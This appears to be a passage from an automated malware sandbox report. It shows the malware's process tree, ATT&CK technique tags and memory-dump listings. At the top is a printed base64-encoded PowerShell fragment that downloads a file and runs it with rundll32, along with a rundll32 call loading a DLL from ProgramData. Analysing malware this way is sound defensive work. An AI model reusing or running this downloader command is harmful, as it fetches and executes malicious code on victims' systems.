QBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360
- - \??\c:\windows\syswow64\rundll32.exe
    c:\windows\syswow64\rundll32.exe c:\programdata\zhdkjew\vbkwk.dll,dhSGert3
    3⤵
    PID:1344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/452-67-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-74-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-56-0x0000000076041000-0x0000000076043000-memory.dmp

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memory/452-57-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-58-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-59-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-61-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-60-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-62-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-64-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-65-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-66-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-63-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-53-0x000000002F1D1000-0x000000002F1D4000-memory.dmp

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memory/452-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/452-70-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-68-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-71-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-72-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-69-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-73-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-75-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-76-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-77-0x00000000003E0000-0x0000000000496000-memory.dmp

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memory/452-84-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/452-54-0x00000000710B1000-0x00000000710B3000-memory.dmp

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memory/1360-81-0x0000000002690000-0x00000000032DA000-memory.dmp

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memory/1360-80-0x0000000002690000-0x00000000032DA000-memory.dmp

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memory/1360-79-0x0000000002690000-0x00000000032DA000-memory.dmp

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